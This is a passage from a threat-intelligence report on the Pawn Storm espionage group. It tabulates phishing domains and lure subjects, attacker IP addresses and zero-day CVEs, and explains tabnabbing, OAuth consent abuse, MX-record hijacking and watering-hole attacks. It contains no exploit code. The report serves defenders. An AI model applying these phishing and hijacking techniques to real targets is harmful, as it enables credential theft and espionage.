webmail-mil.gr 09/04/15 Danish military fkit-mil.dk 09/05/15 Saudi military mail.rsaf.qov.sa.com 10/16/15 United Arab Emirates army mailmil.ae 10/19/15 Kuwaiti military mail.kuwaitarmy.gov-kw.com 10/21/15 Romanian military mail-navy.ro 03/04/16 Bulgarian army mail.armf.bg.message-id8665213.tk Ministry of Defense (MOD) 01/23/14 MOD Bulgaria mail.arnf.bg 02/11/14 MOD Poland poczta.mon.q0v.pl 04/04/14 MOD Hungary mail.hm.qov.hu 04/30/14 MOD Albania mod.qov.al 05/22/14 MOD Spain mail.mod.qov.es 11/18/14 MOD Afghanistan mail.mod.qov.af 09/05/15 MOD Saudi Arabia mail.moda.qov.sa.com 02/19/16 MOD Poland poczta.mon-gov.pl Ministry of Foreign Affairs (MFA) 03/17/15 MFA South Georgia email.mfa.qov.gs 07/16/15 MFA Armenia webmail-mfa.am 10/02/15 MFA United Arab Emirates webmail.mofa.qov.ae 10/02/15 MFA United Arab Emirates webmail.mfa.qov.ae 12/10/15 MFA Qatar mail.mofa.g0v.qa 12 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat Date Organization Phishing Domain Intelligence Units 01/10/14 National Security Bulgaria dansa.bg Defense Industry 04/24/14 Academi mail.academl.com 04/24/14 Boston Dynamics mail.bostondynamlcs.com 08/11/14 Science Applications International Corporation (SAIC) webmail-saic.com 09/10/14 Polski Holding Obronny mailpho.com Media 11/01/14 New York Times privacy-yahoo.com 12/01/14 New York Times link.candybober.info 01/22/15 Buzzfeed account.password-google.com 06/22/15 The Economist Intelligence Unit accounts.g00qle.com 08/24/15 Sanoma Media mobile-sanoma.net 02/24/16 Hurriyet posta-hurriyet.com 03/14/16 Anadolu Agency anadolu-ajansi.com 03/15/16 Anadolu Agency mail.anadoluajansi.web.tr 05/11/16 Hurriyet webmail-hurriyet.com 06/12/16 Hurriyet mail-hurriyet.com 11/14/16 Al Jazeera account-aljazeera.net 11/14/16 Al Jazeera ssset-aljazeera.net 11/15/16 Al Jazeera sset-aljazeera.net 11/16/16 Al Jazeera sset-aljazeera.com 11/21/16 Al Jazeera mail-aljazeera.net Political Parties 03/01/15 National Democratic Institute url.googlesetting.com 04/01/15 National Democratic Institute login.accoounts-google.com 01/12/16 Prime Minister Turkey e-post.byegm.web.tr 01/12/16 Prime Minister Turkey mail.byegm.web.tr 02/01/16 Prime Minister Turkey eposta.basbakanlik.qov.web.tr 02/01/16 Parliament Turkey e-posta.tbmm.qov.web.tr 03/01/16 Democratic Party US myaccount.google.com- securitysettingpage.gq 13 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat Date Organization Phishing Domain 04/01/16 Democratic Party US myaccount.google.com- changepasswordmyaccount- idx8jxcn4ufdmncudd.gq 04/22/16 CDU webmail-cdu.de 05/06/16 CDU support-cdu.de 06/06/16 Democratic Party US actblues.com 10/20/16 Parliament Montenegro mail-skupstina.me 03/15/17 Emmanuel Macron campaign onedrive-en-marche.fr 04/05/17 Konrad Adenauer Stiftung kasapp.de Religion 06/19/15 Orthodox Church America accounts.g00qle.com Academics 03/04/16 Tartu University mail.university-tartu.info 09/13/16 Baikal State University mail-isea.ru Government Agencies 05/24/15 Government of Montenegro mail-gov.me 09/14/15 Safety Board Netherlands vpn.onderzoekraad.nl 09/28/15 Safety Board Netherlands sftp.onderzoekraad.nl 09/29/15 Department of Civil Aviation Malaysia mail.dca.qov.my 11/03/15 Government of Montenegro mail.g0v.me Energy Sector 12/10/14 Westing House Nuclear webmail.westinqhousenuclear.com International Organisations 06/18/14 Organization for Security and Co- operation in Europe (OSCE) login-osce.org 04/23/15 Partnership for Peace Information Management System mail-pims.org 08/03/16 World Anti-Doping Agency (WADA) mail.wada-awa.org 08/08/16 World Anti-Doping Agency (WADA) inside.wada-arna.org 08/08/16 Tribunal Arbitral du Sport (TAS, Court of Arbitration for Sport) tas-cass.org Table 1. List of targeted organizations and specific sites set up to target said entities 14 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat Tabnabbing in Credential Phishing Tabnabbing is a term that was originally introduced by researcher Aza Raskin.14 He describes the attack as follows: a URL in an open tab of the browser is changed to a phishing site when simple JavaScript detects that the user has moved on to another tab or is inactive for some time. When the target believes that the phishing site is the real login site of the internet service he was using, he might reenter his credentials on the phishing site. The trick exploits internet users\xe2\x80\x99 habit of keeping several tabs open in their browser for an extended period of time. Many services like online banking require reentering credentials after a certain period of inactivity so the user might be familiar with this routine. Pawn Storm has been using a variant of tabnabbing.15 In this attack scenario, the target gets an email supposedly coming from a website he might be interested in\xe2\x80\x94maybe from a conference he is likely to visit or a news site he has subscribed to. The email has a link to a URL that looks very legitimate. When the target reads his email and clicks on the link, it will open in a new tab. This new tab will show the legitimate website of a conference or news provider after being redirected from a site under the attackers\xe2\x80\x99 control. The target is likely to spend some time browsing this legitimate site. Distracted, he probably did not notice that just before the redirection, a simple script was run, changing the original webmail tab to a phishing site. When the target has finished reading the news article or conference information on the legitimate site, he returns to the tab of his webmail. He is informed that his session has expired and the site needs his credentials again. He is then likely to reenter his password and give his credentials away to the attackers. This attack scenario is very simple and doesn\xe2\x80\x99t require any exploit. Its success depends on good preparation by the attacker, but even experienced security researchers could fall for this social engineering trick, in particular when they are on the road and not paying attention to details. In Table 2 we show some examples of organizations that have been targeted with credential phishing attacks that made use of this tabnabbing trick. Target Organization Phishing domain Malicious Domain (Social Lure) Real Domain Academi mail.academl.com tolonevvs.com tolonews.com Armed forces Latvia mailmil.lv tusexpo2015.com tusexpo.com imperialconsult.com mail.imperialc0nsult.com skidkaturag.com skidkatur.com MOD Hungary mail.hm.qov.hu aadexpo2014.co.za adexpo.co.za MOD Hungary mail.hm.qov.hu itec2014.co.uk itec.co.uk MOD Hungary mail.hm.qov.hu sofexjordan2014.com sofexjordan.com 15 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat Target Organization Phishing domain Malicious Domain (Social Lure) Real Domain MOD Hungary mail.hm.qov.hu eurosatory2014.com eurosatory.com MOD Spain mail.mod.qov.es gdforum.net gdforum.org National Security Bulgaria mail.dansa.bg counterterorexpo.com counterterrorexpo.com National Security Bulgaria mail.dansa.bg novinitie.com novinite.com National Security Bulgaria mail.dansa.bg standartnevvs.com standartnews.com OSCE login-osce.org vice-news.com news.vice.com SAIC webmail-saic.com natoexhibitionff14.com natoexhibition.org Yahoo users us6-yahoo.com us6-yahoo.com youtube.com Table 2. Organizations that were targeted in 2014 with credential phishing that made use of the tabnabbing trick Figure 1. A target clicks on a link in an email and is redirected to a legitimate news site that will likely hold his interest 16 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat Figure 2. Simple Javascript that is run on the Pawn Storm-controlled website, just before the user is redirected to the legitimate news site. The JavaScript is not malicious and will point the URL in the parent window to a credential phishing site. Figure 3. The credential phishing site that was opened in the browser by the tabnabbing trick The phishing site is practically indistinguishable from the original webmail site apart from one typo in the domain. The target is very likely to fall victim to the attack. 17 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat Compromising DNS settings In another simple but dangerous attack scenario against corporate email systems, the DNS settings of the mail servers are compromised and changed to point to a foreign server. It is not an unknown scenario, as even reputable companies have had their DNS settings compromised in the past. Often these compromises are done by hackers who want some media attention either for themselves or for a specific cause. These hacks are detected quickly and undone quickly, especially if the hackers are just seeking media attention. They simply put up a \xe2\x80\x9chah, you are hacked\xe2\x80\x9d message or something similar on the hijacked domain. A more advanced attacker can apply the same kind of tricks, but as quietly as possible. When an attacker gets DNS admin credentials, he can modify the zone file of a domain name (note that reputable registrars offer enhanced security and changes to zone files have to be confirmed by a DNS admin over the phone). By changing the MX record of a domain to point to a proxy IP address he controls, an attacker can receive all incoming email. The proxy can be set up to forward all incoming email to the real, actual receiving email server of the target. This allows the attacker to read all metadata of incoming emails, as well as the contents of any email that isn\xe2\x80\x99t encrypted. While this kind of attack is not advanced in nature it can have devastating consequences. We know of a Ministry of Foreign Affairs in an Eastern European country that had the MX record of their domain compromised by Pawn Storm for many months. We warned the Ministry of Foreign Affairs about the compromise, but the process wasn\xe2\x80\x99t that straightforward. All of the email communications of the ministry couldn\xe2\x80\x99t be trusted and we did not trust in the safety of their phone system either. As a solution, we first contacted a CERT contact in Europe by phone. We described the issue and sent the details in a PGP-encrypted email to the Western European CERT. The CERT sent a secure message to an embassy in the affected country. The embassy decrypted and printed the email. After that, a courier gave the message to the Ministry of Foreign Affairs and the issue was addressed and resolved. 18 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat The MX record of the MFA (Ministry of Foreign Affairs) domain was compromised Email and phone lines could not be trusted, so Trend Micro had to \xef\xbf\xbdnd secure communication Trend Micro contacted a Western European CERT by phone and sent a PGPencrypted email The CERT sent a secure message to the embassy The message was decrypted and printed by the embassy The printed message was brought to the MFA by courier 1 2 3 4 5 6 Figure 4. How Trend Micro warned the MFA about the discovered compromise This attack scenario shows how important it is for organizations to use reputable DNS providers and registrars only, and to lock down their domain registration so that they don\xe2\x80\x99t get hijacked easily. In the past there was at least one other instance where the DNS settings of a government institution in a West African country were compromised by Pawn Storm for a couple of months. 19 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat Pawn Storm Phishing Campaigns Credential Phishing Campaigns Pawn Storm is constantly trying to get access to the mailboxes of high profile users of free webmail services. We know of dozens of campaigns, each targeting up to thousands of high profile individuals. The social engineering lures used in the campaigns vary in quality, but some lures can be particularly dangerous. In this section we show a couple of these attacks. We collected credential phishing emails that were sent by Pawn Storm to a handful of high profile Yahoo accounts from January 2015 to December 2016. The diagram below shows the distribution of more than 160 credential phishing attacks that were sent to these high profile Yahoo users. 20 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat 2015 JAN FEB MAR APR MAY JUN JUL AUG SEP OCT NOV DEC 2016 JAN FEB MAR APR MAY JUN JUL AUG SEP OCT NOV DEC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Figure 5. Distribution of Pawn Storm\xe2\x80\x99s 160 credential phishing attacks The diagram shows that Pawn Storm took a long break during the holidays at the end of 2015. However, from mid-November to mid-December 2015, Pawn Storm was particularly active with credential phishing against high profile targets. Within this period, Pawn Storm was using a particularly dangerous and effective method of credential phishing we will discuss below. 21 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat A serious compromise of a target organization can start with this relatively simple credential phishing email: Figure 6. Email requesting installation of malicious application \xe2\x80\x9cGoogle Defender\xe2\x80\x9d 22 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat The email poses as an advisory from Gmail to install an \xe2\x80\x9cofficial\xe2\x80\x9d application called \xe2\x80\x9cGoogle Defender\xe2\x80\x9d. Normally an internet user will be wary of installing applications he did not ask for. In this particular case however, a click on the link will lead to a page on Google.com that looks like this: Figure 7. A legitimate-looking \xe2\x80\x9cGoogle Defender\xe2\x80\x9d page asking for email access permissions At first sight this might look like a legitimate service of Google: the URL is hosted on the legitimate domain accounts.google.com, and the communication with this website is encrypted like usual. The average internet user might actually be convinced this is all legitimate. However, despite being on accounts. google.com, the application doesn\xe2\x80\x99t belong to Google. It is a third party application made by Pawn Storm. In this social lure Open Authentication (OAuth), an open authentication standard, is abused. Below we will explain in more detail what OAuth is normally used for. 23 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat Figure 8. A phishing attack targeting high profile Yahoo users Clicking on the phishing link would lead the target to a URL on the legitimate Yahoo domain api.login. yahoo.com. Here the user is asked to turn on \xe2\x80\x9cMcAfee email protection\xe2\x80\x9d that would protect the user against various threats. If this offer is accepted, Pawn Storm actors would have full access to his email. This lure is similar to the one that was used against Gmail users. It is particularly dangerous as most internet users might not realize the applications are not endorsed and carefully checked by their email provider. Similar attacks from Pawn Storm targeted high profile Yahoo users. For example in one of the late-2015 campaigns McAfee Email Protection was offered: 24 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat Figure 9. Pawn Storm lure for Open Authentication abuse created for Yahoo users at the end of 2015 This social engineering lure makes use of an authorization method called Open Authentication (OAuth). OAuth is a way of authorizing third party applications to login to users\xe2\x80\x99 online accounts for free webmail and other services. The big advantage is that users don\xe2\x80\x99t have to reveal their password to the third party. Instead the third party applications get a token that can be used for authentication. OAuth is great for the users\xe2\x80\x99 experience on the web. For example, by allowing social networks to access your webmail contact list, it is easier to find friends who are subscribed to the same social network. Another popular use for OAuth is merging different free webmail accounts into one email account. While OAuth offers convenience and useful applications, it also exposes the user to risks. In particular it allows for advanced social engineering schemes that take advantage of it, particularly when no good background checks are done for applications that are authorized by service providers to use OAuth. For some free webmail services an email address and a website is enough to allow a third party application to use OAuth. Because of that, OAuth abuse is straightforward and actor groups like Pawn Storm are taking advantage of OAuth for credential phishing schemes. These attacks can have the same negative consequences as traditional credential phishing, even when no credentials are given away. The scheme is quite simple: \xe2\x80\xa2 an actor creates and signs up a rogue application with an online service provider\xe2\x80\x94like a free webmail provider that supports OAuth \xe2\x80\xa2 the application passes the (basic) security checks the online service provider does to confirm whether the application is legitimate \xe2\x80\xa2 the actor now sends out emails to targets with a social engineering lure that would trick the recipients into allowing OAuth authentication for the rogue application 25 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat \xe2\x80\xa2 the target might be familiar with generic phishing emails, but not so much with OAuth abuse tricks. Chances are significant that even well-educated targets get fooled \xe2\x80\xa2 once OAuth access has been authorized, the target account can be accessed until the user or the provider revokes the token. If the target changes his password, the actor can still use the OAuth token to access the mailbox. In this case the target might have a false sense of security. We informally spoke with two large webmail providers that allow OAuth authentication by third party applications. As a result of our informal talks, one webmail provider has changed the way new applications are authorized to use OAuth. New applications have to go through a more thorough check before they can use OAuth. For this provider we noticed that since late 2015 Pawn Storm stopped sending phishing lures that abuse OAuth. Instead Pawn Storm went back to plain old credential phishing, which is generally less efficient. Spear-Phishing Campaigns Pawn Storm tries to snare targets using spear-phishing emails that have a malicious attachment or emails that link to an exploit URL. The spear-phishing emails are usually about a recent event covered in the news that is likely to be of interest to the targets. Pawn Storm often uses the exact same headlines from recent news reports seen on media sites like CNN, Al Jazeera, Huffington Post, Military Times and many others. Social lure typically referring to a recent event in the news Flash exploit (CVE-2016-7855) Windows privilege escalation exploit (CVE-2016-7255) Payload Fingerprinting script by exploit kit Exploit link in the email 1 2 3 4 5 6 Figure 10. Typical infection chain of Pawn Storm\xe2\x80\x99s spear-phishing campaigns 26 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat In 2015 and 2016 Trend Micro blocked dozens of these spear-phishing campaigns against high profile customers. Below we list some of the spear-phishing emails that contained a link to the private exploit kit of Pawn Storm, as well as the date and email subject line used. Date Subject line 02/03/15 Pro-Russian rebels launch new offensive 03/18/15 NATO\xe2\x80\x99s role in conventional arms control 03/25/15 Open Skies Consultative Commission 03/26/15 News: Exercise Ramstein Dust I 2015 is underway in Italy 04/01/15 News: Yemen air strikes kill 23 in factory: residents 04/01/15 National Armaments Directors 04/01/15 Heavy clashes on Saudi-Yemeni border 04/06/15 North Korea declares no-sail zone, missile launch seen as possible - reports 04/06/15 What does Russia\xe2\x80\x99s President Putin really want? 04/06/15 Ukraine Today: Russian-backed militants appeal to Merkel 04/06/15 Ambassador of Ukraine to Jordan Dr. SergiyPasko held talks with Director of the European Department of the MFAE of Jordan Mr. Daifallah al-Fayez 04/08/15 Petro Poroshenko congratulated Muhammadu Buhari on his election as President of the Federal Republic of Nigeria 04/15/15 News: Obama, in \xe2\x80\x98therapeutic\xe2\x80\x99 meetings with U.S. Jewish leaders, stresses how much he cares 04/21/15 China, Japan and South Korea hold renewed talks 04/22/15 News: Foreign Ministry denies any suspected incidence of corruption in Tunisia\xe2\x80\x99s embassy in Amman 04/30/15 News: Tragedy in Nepal 05/05/15 News: Chimerica in Decline? 05/07/15 Diplomatic Access: The United States 05/12/15 News: Can China and the EU Cooperate on International Security? 05/13/15 News: Kerry: Now is \xe2\x80\x98Critical Moment\xe2\x80\x99 for Ukraine Conflict 05/15/15 Russian soldiers quit over Ukraine 05/20/15 Foreign Minister Szijjarto: NATO must respond to new threats 06/17/15 Ambassadors RSG Wolfsbos bezoeken Europees Parlement 06/19/15 Pew Survey: Irredentism Alive and Well in Russia 07/03/15 For Your Information: Latest from OSCE Special Monitoring Mission (SMM) to Ukraine 07/08/15 For Your Information: Latest from OSCE Special Monitoring Mission(SMM) to Ukraine 27 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat Date Subject line 07/09/15 For Your Information: ANNUAL MEETING & EXPOSITION 12-14 October 2015 07/09/15 Iran nuclear deal: Snapping back sanctions 07/10/15 CNN Politics:What the Iran deal is really about 07/23/15 NATO Won\xe2\x80\x99t Establish Permanent Military Bases In Poland Amid Russia Tension, US Diplomat Says 08/27/15 Russia to increase wheat supplies to Egypt, says Putin 09/08/15 Iraq Puts New F-16s Into Action Against ISIS Jihadists 09/09/15 Bulgaria Bars Syria-Bound Russian Planes as NATO Fears Grow 09/16/15 Russia gives Assad firepower, spurring US strategy adjustment 09/17/15 Burkina Faso: an attempted coup? 09/18/15 Croatia closes road border crossings with Serbia after migrant influx 09/21/15 US, Russian Defense Heads Talk about Syrian Military Buildup 09/21/15 Tsipras returns as PM in decisive Greek election 09/22/15 Foreign Information Policy 09/22/15 THE FIGHT AGAINST ISIS 09/22/15 Despite Attention to Islamic State, Al-Qaida May Be Bigger Threat 09/23/15 US military reports 75 US-trained rebels return to Syria 09/24/15 Assad is Moscow\xe2\x80\x99s pawn in regional power stakes 09/24/15 Russia Warns of Response to Reported US Nuke Buildup in Turkey 10/01/15 Russia rejects claims its \xe2\x80\x98anti-sisl\xe2\x80\x99 airstrikes hitcivilians and other rebels 10/05/15 Israel launches airstrikes on targets in Gaza 10/12/15 Suicide car bomb targets NATO troop convoy in Kabul 10/12/15 Syrian troops make gains as Putin defends air strikes Table 3. Spear-phishing campaigns by Pawn Storm in 2015, data from Trend Micro\xe2\x80\x99s Smart Protecting Network The subject lines clearly indicate that Pawn Storm uses recent newsworthy events to encourage victims to click. Though these are targeted attacks, some of the campaigns are relatively noisy and have been frequently deployed from 2015 to 2016. Most of the attacks were not widely reported in media, but some did make it to the news. In 2016, awareness grew due the amount of research that was published by Trend Micro and other internet security vendors. For example in September 2016 several major German newspapers published stories of German politicians that were being attacked by Pawn Storm in August 2016. We can confirm that Trend Micro saw spear-phishing emails sent by Pawn Storm using German political themes as social 28 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat engineering lures. However these emails were part of a much bigger campaign with targets in many other countries as well. The spear-phishing campaigns as reported in the German media were actually not that uncommon, but almost business as usual for the Pawn Storm actors. Still, it shows that in 2016 the actors showed a clear interest in compromising political organizations. Though some of the spear-phishing emails are relatively noisy, Pawn Storm is careful with how they infect their targets. First of all, the exploit URLs are specific for every victim\xe2\x80\x94each has a parameter that is unique to the particular target. In case a target clicks on an exploit URL, he will first get fingerprinted with invasive JavaScript code that is not malicious by itself. The JavaScript will upload information like the operating system version, language settings, browser plugins, and time zone of the target\xe2\x80\x99s computer to the exploit server. Depending on the fingerprinting results, the exploit server might give back an old exploit, a zero- day, or a social engineering lure.16 In a lot of cases nothing will happen, apart from a redirection to a benign news site that has an article related to the social engineering lure of the spear-phishing email. The use of a zero-day will also depend on how valuable that zero-day still is to Pawn Storm. Once the zero-day gets discovered and a fix is underway, its value in the attack portfolio will be devalued. In 2016 we witnessed that during the interval of a Windows privilege escalation vulnerability being disclosed and then patched, Pawn Storm ramped up its operations and targeted a broader range of governmental personnel. The group used the just-patched Flash zero-day and the still open Windows privilege escalation vulnerability.17 Even when a target does get infected with malware, he will first get relatively simple first stage malware installed. This gives Pawn Storm another chance to learn whether a target is worth a deeper probe. If the target is interesting enough, the actor will install second stage components like X-Agent and X-Tunnel. After this, Pawn Storm might try to penetrate deeper into the network infrastructure, so that it can control more nodes in the victim\xe2\x80\x99s network. In 2016, Pawn Storm started to use RTF and other Office documents embedded with a Flash file. The Flash file will upload information on the targets\xe2\x80\x99 system to a remote server. We have witnessed that the remote server may respond with a chain of exploits, zero-days and privilege escalation that will infect the target\xe2\x80\x99s computer. This kind of infection chain was first described by Palo Alto Network researchers and dubbed Dealers Choice.18 29 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat Preferred Attacks, Resources, and Tools Watering Hole Attacks Pawn Storm has compromised websites that targets are likely to visit. For this kind of attack, the actors have to wait and see who will visit the compromised sites. On these compromised sites, Pawn Storm can choose to inject scripts that will serve their objectives. We have seen instances where Pawn Storm injected the so-called Browser Exploitation Framework (BeEF)19 exploit on legitimate websites. In other cases, links were inserted that would lead to Pawn Storm\xe2\x80\x99s private exploit kit. Like the name already suggests BeEF works from the browser to attack internet users. BeEF is used by legitimate penetration testers and it is very invasive. The framework includes many modules, including tools for reconnaissance, social engineering and active exploitation of vulnerabilities. BeEF is particularly useful to an attacker when the target doesn\xe2\x80\x99t close inactive tabs in his internet browser. When an internet user opens a browser tab and visits a website that has been compromised to link to a BeEF exploit URL, the attacker has ample time to do reconnaissance and try out different attacks until the browser tab gets closed. These attacks may include social engineering attacks, grabbing passwords, and exploiting vulnerabilities. We have seen that the website of a Ukrainian defense company was compromised to link to a BeEF exploit on a remote server. Visitors of the defense company\xe2\x80\x99s website are likely to be interesting targets to Pawn Storm, and might have been exposed to various attacks. An injection of a BeEF exploit happened to the websites of some Ministries of Foreign Affairs in Europe and Africa as well. Earlier in 2014, Pawn Storm compromised Polish government sites and the website of the Power Exchange in Poland. Visitors to the websites were exposed to Pawn Storm\xe2\x80\x99s private exploit kit. 30 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat And as we previously mentioned, in June 2016 Pawn Storm compromised the website of the DCCC. Anyone donating money via dccc.org would be redirected to a Pawn Storm-controlled site. Pawn Storm possibly intended to compromise donors of the Democratic Party in the US and to spy on them. However we have not been able to confirm the exact infection chain. Zero-Days Pawn Storm is known to have used several zero-days.20 For example, at the end of October 2016 Pawn Storm was identified as using a Flash zero-day together with a privilege escalation in Windows. Soon after the Flash vulnerability (CVE-2016-7855) was patched, Pawn Storm started to make the most out of these partially patched zero-days by exposing more targets to them. On October 28, 2016 a relatively noisy campaign was launched that sent several RTF documents to targets. Figure 11. A Pawn Storm spear-phishing email with an RTF document The RTF document has a Flash file embedded in it that is a simple downloader. We saw that it first downloaded an encrypted Flash exploit (CVE-2016-7855) from a remote server. Then it downloaded a second file that crashed Microsoft Word. In other reported cases the second file was a first stage payload of Pawn Storm. 31 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat In July 2015 Trend Micro discovered a Java zero-day that was exploited together with a privilege escalation that evades the click to play protection in Java. Figure 12. Zero-days that are believed to have been used by Pawn Storm exclusively before they were patched Apart from these zero-days, Pawn Storm was also quick to use other vulnerabilities that were disclosed in the leaks of Hacking Team. Second Stage C&C Servers We were able to keep track of the live second stage C&C servers from late 2013 until today. At the end of 2013 there were about five live X-Agent C&C servers. In early October 2016, we counted 26 live X-Agent C&C servers. This is a strong indication that Pawn Storm has been very active in 2016. APR 2015 MAY 2015 JUL 2015 OCT 2015 OCT 2016 NOV 2016 CVE-2015-3043 April 14 Flash zero-day May 12 privilege escalation Windows kernel CVE-2015-1701 CVE-2015-2590 July 14 Java zero-day July 14 Microsoft Office zero-day CVE-2015-1701 CVE-2015-7645 October 16 Flash zero-day October 20 privilege escalation Java CVE-2015-4902 CVE-2016-7855 October 26 Flash zero-day November 8 privilege escalation Windows kernel CVE-2016-725521 32 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat Another local peak was in the fall of 2014, possibly because around that time Trend Micro\xe2\x80\x99s first paper on Pawn Storm was published and the actor group made changes to their infrastructure. 0 15 30 2014 2015 2016 2017OCT JULAPR OCT JULAPR OCT JUL OCTAPR Figure 13. Tracking the number of live X-Agents C&Cs from Oct 2013 to Feb 2017 Around the Christmas holidays of 2016, the number of live X-Agents C&Cs slightly increased to 27. In January 2017 the number peaked at 28 live X-Agent IP addresses. Pawn Storm did not take a long break during the 2016 holidays. Right after Christmas, on December 26 2016, we saw Pawn Storm recommence their spear-phishing campaign. In January 2017, the usual credential phishing also continued. Facilitators Pawn Storm has a clear preference for certain webhosting providers and registrars. This preference is sometimes so specific that newly set up domains can be spotted before they are even used in attacks. In recent months, however, Pawn Storm\xe2\x80\x99s use of IP ranges is getting more diverse and parts of their activity have become more difficult to track. Generally speaking, Pawn Storm uses the internet infrastructure in well-connected countries like the US, UK, France, Netherlands, Latvia, Romania and Germany. In these countries, the national intelligence services could probably easily and legally intercept connections to Command and Control servers, sources of (spear) phishing emails, and Pawn Storm\xe2\x80\x99s exploit sites that are set up in their country. Encryption and TLS in both web traffic and email traffic will limit the usefulness of these legal intercepts, though. 33 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat For example, for sending credential phishing emails Pawn Storm probably doesn\xe2\x80\x99t have to worry about authorities unless the authorities have access to the servers that are sending the emails. In the table below we illustrate the infrastructure that was used by Pawn Storm to send out Yahoo credential phishing emails in 2015. As far as we are aware, for all of 2015, Pawn Storm only used one IP address in Germany and one in Netherlands to send out the phishing emails. Date Sender IP Server Name Backend IP Server Name Jan-15 80.255.3.94 ubuntu 46.166.162.90 Henry-PC Feb-15 80.255.3.94 ubuntu 46.166.162.90 Henry-PC Feb-15 193.169.244.35 security.service-facebook.com 46.166.162.90 Henry-PC Mar-15 80.255.3.94 ubuntu 46.166.162.90 Henry-PC Mar-15 193.169.244.35 security.service-facebook.com 46.166.162.90 Henry-PC Apr-15 193.169.244.35 security.service-facebook.com 46.166.162.90 Henry-PC Apr-15 193.169.244.35 security.service-facebook.com 46.183.217.74 Henry-PC May-15 193.169.244.35 security.service-facebook.com 46.183.217.74 Henry-PC Jun-15 80.255.3.94 set121.com 46.183.217.74 Henry-PC Jul-15 80.255.3.94 set121.com 46.183.217.74 Henry-PC Aug-15 193.169.244.35 security.service-facebook.com 46.183.217.74 Henry-PC Sep-15 80.255.3.94 set121.com 46.183.217.74 Henry-PC Oct-15 193.169.244.35 security.service-facebook.com 46.183.217.74 Henry-PC Nov-15 193.169.244.35 security.service-facebook.com 46.183.217.74 Henry-PC Nov-15 193.169.244.35 security.service-facebook.com 185.82.202.102 WIN- 17MK2DLAHLN Nov-15 80.255.3.94 exua.email N/A N/A Nov-15 193.169.244.35 security.service-facebook.com 87.121.52.145 Hans-PC Dec-15 193.169.244.35 security.service-facebook.com 87.121.52.145 Hans-PC Dec-15 193.169.244.35 security.service-facebook.com 185.82.202.102 WIN- 17MK2DLAHLN Table 4. Infrastructure used in 2015 by Pawn Storm to send credential phishing emails to high profile Yahoo users 34 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat In 2016 Pawn Storm started to use legitimate email providers like GMX and Yandex to send out credential phishing emails from VPN servers like IPVanish. Actual data communication to C&C servers like X-Agent will be encrypted and this means that exfiltrated data cannot be read unless a decryption algorithm is available. Pawn Storm clearly doesn\xe2\x80\x99t care that intelligence services might have some visibility on the identities of the victimized targets. This becomes even more apparent when we realize that a lot of the X-Agent C&Cs are live for several months. Averaged over 3 years of data, X-Agent C&Cs are live for 6 months. Ten of the X-Agent C&Cs were live for more than 12 months. This shows that Pawn Storm is somewhat brazen: the actors don\xe2\x80\x99t really care if they get caught at some point. You could consider this bad operational security, however it also indicates the difficulties targets face when defending against the Pawn Storm actors. In a lot of the attacks the actors get what they were after anyway. The graph below shows the distribution of second stage X-Agent C&C servers to each country from November 2013 until February 2017. It clearly illustrates the distribution of live C&C servers averaged over a 3 year period. 22% United States 15% United Kingdom 15% Latvia14% Netherlands 12% France 2% Italy 9% Germany 1% Romania 3% Bulgaria 4% Canada Figure 14. Distribution of live X-Agent C&C servers averaged over a 3 year period 35 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat Operational Security Operational security is defined as the precautions that actors take to hide their activities and whereabouts. The operational security of Pawn Storm is quite remarkable, since for many of its operations it has become apparent that hiding activities is not always a high priority for the Pawn Storm actors. However, actions of Pawn Storm cannot easily be attributed to nicknames or profiles in the underground. For many cybercriminal groups at least some nicknames from the underground are known, but not so with this group. The identities of the individual Pawn Storm actors seem to be protected very well. Pawn Storm has a clear preference for some hosting providers, DNS service providers, and domain registrars. By monitoring these service providers, it can be relatively easy for a researcher to spot new infrastructure that is being set up. In this way, a lot of Pawn Storm\xe2\x80\x99s infrastructure can be discovered early\xe2\x80\x94sometimes even before the attacks have actually started. There is another side of this apparent lack of operational security though. Pawn Storm is also using anonymous registration of domains, and in certain cases they choose very different providers. Attacks using this infrastructure might easily get overlooked and not attributed to Pawn Storm. Moreover, the preferred service providers of Pawn Storm give the actors good anonymity, one reason being these providers usually accept Bitcoin as payment. Pawn Storm makes good use of webhosting providers in Western countries that offer privacy to their customers. We don\xe2\x80\x99t know for sure whether these hosting companies are knowingly providing services to cyber criminals and cyber spies, perhaps at premium rates. However some of the webhosting companies have had ties with so called Bulletproof hosting providers in the past. We actually described an example of a hosting provider in the Netherlands in a 2016 article.22 We witnessed that Pawn Storm makes extensive use of VPN servers to connect to free webmail providers and then send out spear-phishing emails to their targets. Some of the C&C servers may just relay traffic to intermediate proxies and thus relay stolen data back to the actual backend servers over more than one hop. Just a couple of proxy nodes will greatly enhance operational security and anonymity of the actors. Even when the infrastructure of Pawn Storm gets discovered quickly, vast amounts of data might have already been exfiltrated to a foreign computer server before the target is aware something is happening. There are several examples of infections and compromises that were discovered after months, and even after more than a year in some cases. 36 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat The vast majority of the campaigns Pawn Storm is doing would interest intelligence services around the world. Investigations by normal police will usually lead nowhere as the problem of espionage23 can only be addressed at higher political levels and not by criminal investigations. Communications between different law enforcement agencies are not always optimal within one country and between different countries. This can imply that agency X in a country may know about an attack by Pawn Storm in its country or another country, but is unable to inform the target in a timely manner. This further adds to the success of actors 